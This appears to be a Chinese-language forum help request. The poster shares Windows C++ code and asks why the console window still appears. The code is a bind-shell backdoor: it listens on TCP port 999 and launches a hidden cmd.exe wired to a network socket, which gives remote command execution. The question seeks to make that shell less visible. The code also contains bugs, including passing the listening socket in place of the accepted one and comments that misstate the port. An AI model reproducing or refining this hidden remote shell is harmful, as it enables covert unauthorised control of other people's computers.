[逝去的100~~ 2014/10/07 20: 20]
程序想要实现控制台窗体的隐藏,可是窗体每次执行总会弹出来。为什么呢?
代码例如以下:
// Mini.cpp : 定义控制台应用程序的入口点。 #include "stdafx.h" #pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include <windows.h>
//#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) #define MAX_SER 10
#define HOST_PATH 256
#define HOSTNAME_SIZE HOST_PATH
#define MasterPort 999 //定义监听的port char hostName[MAX_PATH]={0};
unsigned short maxService;
unsigned short port; void Service(LPVOID lpv);
int LoopControl(SOCKET llistenfd,int isMultiTasking);
void initial();
int initSockets(void); //初始化Windows Socket int main(int argc, char * argv[])
{
SOCKET listenFd,acceptfd;
struct sockaddr_in serverAddr,clientAddr;
int nSize=sizeof(sockaddr_in);
int err; PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255]; initial();
initSockets(); //分配内存资源
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath)); //GetStartupInfo(&StartupInfo);
//创建socket
//listenFd=socket(PF_INET,SOCK_STREAM,0);
listenFd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); if(listenFd==INVALID_SOCKET){
printf("error:out of socket resource \n");
return 1;
} //bind本机的port
serverAddr.sin_family=AF_INET; //协议类型是INET
serverAddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY); //本机IP
serverAddr.sin_port=htons(MasterPort); //绑定port为5054 err=bind(listenFd,(const struct sockaddr *)&serverAddr,sizeof(serverAddr));
if(err==INVALID_SOCKET){
printf("error: unable to bind socket \n");
return 1;
} //listen 监听port
err=listen(listenFd,3);
if(err==INVALID_SOCKET){
printf("error: listen socket failed \n");
return 1;
}
printf("listen......"); acceptfd=accept(listenFd,(struct sockaddr *)&clientAddr,&nSize); //接收客户连接的准备 //配置隐藏窗体结构体
StartupInfo.cb=sizeof(STARTUPINFO);
StartupInfo.wShowWindow=SW_HIDE;
StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
//StartupInfo.cbReserved2=0;
//StartupInfo.lpReserved2=NULL;
StartupInfo.hStdInput=(HANDLE)listenFd;
StartupInfo.hStdOutput=(HANDLE)listenFd;
StartupInfo.hStdError=(HANDLE)listenFd; //创建匿名管道
CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,CREATE_NO_WINDOW,NULL,NULL,&StartupInfo,&ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess,INFINITE); CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread); printf("server is down \n"); //关闭进程句柄
closesocket(listenFd);
closesocket(acceptfd);
WSACleanup(); return 0;
} void initial()
{
maxService=3;
port=5054;
} /*
* Winsock服务初始化
*/
int initSockets(void)
{
WSADATA wsaData;
WORD sockVersion; //typedef unsigned short WORD(16)
int err;
sockVersion=MAKEWORD(2,2);
err=WSAStartup(sockVersion,&wsaData);
if(err!=0)
{
printf("error %d :winsock not avaliable\n",err);
}
printf("environemnt invaild success.....\n");
return 0;
}
想法是通过CreateProcess来实现窗体的隐藏,加入下面的代码,确实实现了窗体的隐藏,但不是本意:
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
执行的效果图例如以下:
看了其它的介绍说:要达到DOS程序执行时不显示窗体的效果,有两种可能:一是创建该DOS进程时,指定不创建窗体;二是隐藏该DOS进程有窗体。我这里都明白指定了啊。
Help